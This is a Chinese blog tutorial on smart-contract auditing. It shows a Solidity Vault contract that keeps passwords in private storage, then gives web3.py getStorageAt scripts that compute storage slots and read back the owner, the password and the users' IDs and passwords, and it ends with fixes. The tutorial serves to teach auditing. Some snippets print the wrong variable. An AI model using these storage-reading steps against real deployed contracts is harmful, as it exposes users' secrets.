【区块链安全 | 第三十八篇】合约审计之获取私有数据(二)

news2025/4/12 15:03:14

文章目录

    • 前言
    • 漏洞代码
    • 代码审计
    • 攻击步骤
    • 修复建议
    • 审计思路

在这里插入图片描述

前言

在【区块链安全 | 第三十七篇】合约审计之获取私有数据(一)中,介绍了私有数据、访问私有数据实例、Solidity 中的数据存储方式等知识,本文通过分析具体合约代码进行案例分析。

漏洞代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
    // 公共变量,可以通过 getter 函数读取
    // slot 0
    uint public count = 123;

    // 部署合约的地址会成为 owner
    // slot 1
    address public owner = msg.sender;

    // 示例布尔值和 uint16 类型变量
    // slot 1
    bool public isTrue = true;
    uint16 public u16 = 31;

    // 私有密码变量,不能通过合约外部直接访问
    // slot 2
    bytes32 private password;

    // 常量值,在部署时就固定,不可更改
    // 编译时嵌入,不占 slot
    uint public constant someConst = 123;

    // 固定长度的 bytes32 数组,长度为 3
    // slot 3、slot 4、slot 5
    bytes32[3] public data;

    // 用户结构体,包含用户 ID 和密码字段
    struct User {
        uint id;
        bytes32 password;
    }

    // 用户动态数组,仅限内部访问
    // slot 6
    User[] private users;

    // 映射:通过用户 ID 查找对应的用户结构体
    mapping(uint => User) private idToUser;

    // 构造函数,在部署时设置初始密码
    constructor(bytes32 _password) {
        password = _password;
    }

    // 添加新用户,自动分配 ID,并存储在数组和映射中
    function addUser(bytes32 _password) public {
        User memory user = User({
            id: users.length,
            password: _password
        });

        users.push(user);
        idToUser[user.id] = user;
    }

    // 工具函数:用于计算数组中元素的 storage 位置
    function getArrayLocation(
        uint slot,
        uint index,
        uint elementSize
    ) public pure returns (uint) {
        return uint(keccak256(abi.encodePacked(slot))) + (index * elementSize);
    }

    // 工具函数:用于计算映射中某个键的 storage 位置
    function getMapLocation(uint slot, uint key) public pure returns (uint) {
        return uint(keccak256(abi.encodePacked(key, slot)));
    }
}

代码审计

从上述 Vault 合约代码可以看出,合约将用户的敏感信息(如用户名与密码)直接存储在链上。尽管使用了 private 关键字对变量进行了访问限制,但在区块链中,所有合约数据都是公开可见的。private 仅限制了其他合约或外部账户通过函数调用访问变量的能力,但无法阻止任何人通过读取链上存储数据(storage)来获取这些信息。

下面展示如何获取敏感数据。

攻击步骤

攻击前提:Vault 合约已部署在链上。

首先,我们可以通过以下方式读取合约中第一个存储槽(slot 0)中的 uint 类型变量 count 的值:

slot0 = w3.eth.getStorageAt("0x35XXXXXXX----XXXXXX8bfDb279faD6b", '0x0')
print(w3.toHex(slot0))

这里结果是以十六进制形式输出的:

0x000000000000000000000000000000000000000000000000000000000000007b

对其转换得到十进制123:

在这里插入图片描述

因此 count 的值为123。

再通过该脚本:

slot1 = w3.eth.getStorageAt("0x35XXXXXXX----XXXXXX8bfDb279faD6b", '0x1')
print(w3.toHex(slot0))

得到:

0x00000000000000000001f01f36467c4e023c355026066b8dc51456e7b791d99

从右往左依次为

  • owner = f36467c4e023c355026066b8dc51456e7b791d99
  • isTrue = 01 = true
  • u16 = 1f = 31

再通过该脚本获取 slot 2,其中存有私有变量 password:

slot2 = w3.eth.getStorageAt("0x35XXXXXXX----XXXXXX8bfDb279faD6b", '0x2')
print(w3.toHex(slot0))

得到:

0x4141414242424343430000000000000000000000000000000000000000

现在我们想获取用户的用户名密码,则需要访问 slot 6 的内容。

由于 User 是一个结构体:

struct User {
    uint id;           // 32 bytes,占用 1 slot
    bytes32 password;  // 32 bytes,占用 1 slot
}

所以,每个 User 占用两个连续的 storage slot。

因此,通过【区块链安全 | 第三十七篇】合约审计之获取私有数据(一)的知识,我们可以知道,在该变长数组中:

  • users[0].id 存在 keccak256(6) = 0xf652…3f
  • users[0].password 存在 keccak256(6) + 1 = 0xf652…40

在这里插入图片描述

因此可以通过如下语句访问 user1 的 ID 与密码:

user1ID = w3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b","0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f")
print('user1的ID是'+w3.toHex(user1ID))

user1password = w3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b","0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d40")
print('user1的密码是'+w3.toHex(user1password))

输出如下:

在这里插入图片描述

同理,user2ID 与 user2password 的地址依次递增,通过该脚本即可读取:

user2ID = w3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b","0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d41")
# 末尾改为41
print('user2的ID是'+w3.toHex(user2ID))

user2password = w3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b","0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d42")
# 末尾改为42
print('user2的密码是'+w3.toHex(user2password))

输出如下:

在这里插入图片描述

修复建议

1.敏感数据(如密码)不应以明文形式存储在链上;

2.在上链前对数据进行哈希处理(例如,仅存储 keccak256(password) 的结果);

3.避免在合约中保存明文密码,即使使用 private 也无法阻止链上其他人读取。

审计思路

在审计过程中,应特别关注合约中是否存在敏感数据的存储,例如密钥、游戏通关口令等关键信息。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2330926.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

mac 苍穹外卖 后端初始 SkyApplication 报错

报错内容 java: java.lang.NoSuchFieldError: Class com.sun.tools.javac.tree.JCTree$JCImport does not have member field com.sun.tools.javac.tree.JCTree qualid deepseek 解决 打开 File > Project Structure > Project SDK, 选择 JDK17。我没有 JDK17就下载了一…

Proximal Policy Optimization (PPO)

2.1 策略梯度方法 策略梯度方法计算策略梯度的估计值并将其插入到随机梯度上升算法中。最常用的梯度估计器的形式如下: g ^ E t [ ∇ θ log ⁡ π θ ( a t ∣ s t ) A ^ t ] (1) \hat{g} \mathbb{E}_t \left[ \nabla_{\theta} \log \pi_{\theta}(a_t | s_t) \h…

微信小程序:动态表格实现,表头单元格数据完全从data中获取,宽度自定义,自定义文本框,行勾选,样式效果,横向滚动表格(解决背景色不足的问题)等

一、样式效果 二、代码 1、wxml <view class"line flex flex-center"><view class"none" wx:if"{{info.length 0}}">暂无料号</view><view wx:else class"table-container"><!-- 动态生成表头 -->&…

python-Leetcode 65.搜索旋转排序数组

题目&#xff1a; 整数数组nums按升序排列&#xff0c;数组中的值互不相同 在传递给函数之前&#xff0c;nums在预先未知的某个小标K上进行了旋转&#xff0c;使数组变为[nums[k], nums[k1], ..., nums[n-1], nums[0], nums[1], ..., nums[k-1]]&#xff0c;小标从0开始计数。…

Django学习记录-1

Django学习记录-1 虽然网上教程都很多&#xff0c;但是感觉自己记录一下才属于自己&#xff0c;之后想找也方面一点&#xff0c;文采不佳看的不爽可绕道。 参考贴 从零开始的Django框架入门到实战教程(内含实战实例) - 01 创建项目与app、加入静态文件、模板语法介绍&#xff…

K8s私有仓库拉取镜像报错解决:x509 certificate signed by unknown authority

前言 在Kubernetes环境中使用自签名证书的私有Harbor镜像仓库时&#xff0c;常会遇到证书验证失败的问题。本文将详细讲解如何解决这个常见的证书问题。 环境信息&#xff1a; Kubernetes版本&#xff1a;1.28.2容器运行时&#xff1a;containerd 1.6.20私有仓库&#xff1a…

LabVIEW 长期项目开发

LabVIEW 凭借其图形化编程的独特优势&#xff0c;在工业自动化、测试测量等领域得到了广泛应用。对于长期运行、持续迭代的 LabVIEW 项目而言&#xff0c;其开发过程涵盖架构设计、代码管理、性能优化等多个关键环节&#xff0c;每个环节都对项目的成功起着至关重要的作用。下面…

蓝桥杯真题——好数、R格式

目录 蓝桥杯2024年第十五届省赛真题-好数 【模拟题】 题目描述 输入格式 输出格式 样例输入 样例输出 提示 代码1&#xff1a;有两个案例过不了&#xff0c;超时 蓝桥杯2024年第十五届省赛真题-R 格式 【vector容器的使用】 题目描述 输入格式 输出格式 样例输入…

Windows版-RabbitMQ自动化部署

一键完成Erlang环境变量配置&#xff08;ERLANG_HOME系统变量&#xff09;‌ 一键完成RabbitMQ环境变量配置&#xff08;RabbitMQ系统变量&#xff09;‌ 实现快速安装部署RabbitMQ PS&#xff1a; 需提前下载安装&#xff1a; - otp_win64_25.0.exe (Erlang) - rabbit…

openEuler24.03 LTS下安装Flink

目录 Flink的安装模式下载Flink安装Local模式前提条件解压安装包启动集群查看进程提交作业文件WordCount持续流WordCount 查看Web UI配置flink-conf.yaml简单使用 关闭集群 Standalone Session模式前提条件Flink集群规划解压安装包配置flink配置flink-conf.yaml配置workers配置…

从零开始学java--泛型(1)

泛型 学生成绩可能是数字类型&#xff0c;也可能是字符串类型&#xff0c;如何存放可能出现的两种类型呢&#xff1a; public class Score {String name;String id;Object value; //因为Object是所有类型的父类&#xff0c;因此既可以存放Integer也能存放Stringpublic Score…

【正点原子】STM32MP135去除SD卡引脚复用,出现 /dev/mmcblk1p5 not found!

如果在设备树中直接注释掉 sdmmc1 节点&#xff0c;就会导致系统启动时识别不到真正的 eMMC 设备&#xff0c;进而挂载失败&#xff0c;爆出 /dev/mmcblk1p5 not found 的问题。 正点原子STM32MP135开发板Linux核心板嵌入式ARM双千兆以太网CAN 正确操作是“放空”而不是“删光…

CrystalDiskInfo电脑硬盘监控工具 v9.6.0中文绿色便携版

前言 CrystalDiskInfo是一个不用花钱的硬盘小帮手软件&#xff0c;它可以帮你看看你的电脑硬盘工作得怎么样&#xff0c;健不健康。这个软件能显示硬盘的温度高不高、还有多少地方没用、传输东西快不快等等好多信息。用了它&#xff0c;你就能很容易地知道硬盘现在是什么情况&…

详解模型蒸馏,破解DeepSeek性能谜题

大家好&#xff0c;不少关注 DeepSeek 最新动态的朋友&#xff0c;想必都遇到过 “Distillation”&#xff08;蒸馏&#xff09;这一术语。本文将介绍模型蒸馏技术的原理&#xff0c;同时借助 TensorFlow 框架中的实例进行详细演示。通过本文&#xff0c;对模型蒸馏有更深的认识…

园区网拓扑作业

作业要求&#xff1a; 需求&#xff1a; 需求分析&#xff1a; 1.按照图示的VLAN及IP地址需求&#xff0c;完成相关配需&#xff1a;VLAN 2、3、20、30 已分配子网&#xff0c;需在交换机上创建 VLAN 并配置三层接口作为网关。确保各 VLAN 内设备能互通&#xff0c;跨 VLAN 通…

隔行换色总结

功能效果展示&#xff1a; 第一种思路&#xff1a; 使用数组&#xff0c;将数组的内容渲染到页面上&#xff0c;序号也就是将数组的下标输出到第一个td上&#xff0c;将数组的内容输出到第二个td上&#xff0c;&#xff08;使用拼接字符串&#xff09; 具体操作&#xff1a; …

使用Docker Desktop进行本地打包和推送

使用Docker Desktop进行本地打包和推送 一、Docker Desktop配置二、IDEA配置1.下载Docker插件2.在“Settings”中&#xff0c;配置“Docker”3.选择“Docker Registry”&#xff0c;配置远程仓库。 三、POM配置 一共有三个地方需要配置 一、Docker Desktop配置 在Docker Deskt…

Redis主从复制:告别单身Redis!

目录 一、 为什么需要主从复制&#xff1f;&#x1f914;二、 如何搭建主从架构&#xff1f;前提条件✅步骤&#x1f4c1; 创建工作目录&#x1f4dc; 创建 Docker Compose 配置文件&#x1f680; 启动所有 Redis&#x1f50d; 验证主从状态 &#x1f4a1; 重要提示和后续改进 …

ORM、Mybatis和Hibernate、Mybatis使用教程、parameterType、resultType、级联查询案例、resultMap映射

DAY21.1 Java核心基础 ORM Object Relationship Mapping 对象关系映射 面向对象的程序到—关系型数据库的映射 比如java – MySQL的映射 ORM框架就是实现这个映射的框架 Hibernate、Mybatis、MybatisPlus、Spring Data JPA、Spring JDBC Spring Data JPA的底层就是Hiber…

C#调用Lua方法1+C#调用Lua方法2,3

xLua中Lua调用C#代码 原因&#xff1a;C#实现的系统&#xff0c;因为Lua可以调用&#xff0c;所以完全可以换成Lua实现&#xff0c;因为Lua可以即时更改&#xff0c;即时运行&#xff0c;所以游戏的代码逻辑就可以随时更改。 实现和C#相同效果的系统&#xff0c;如何实现&#…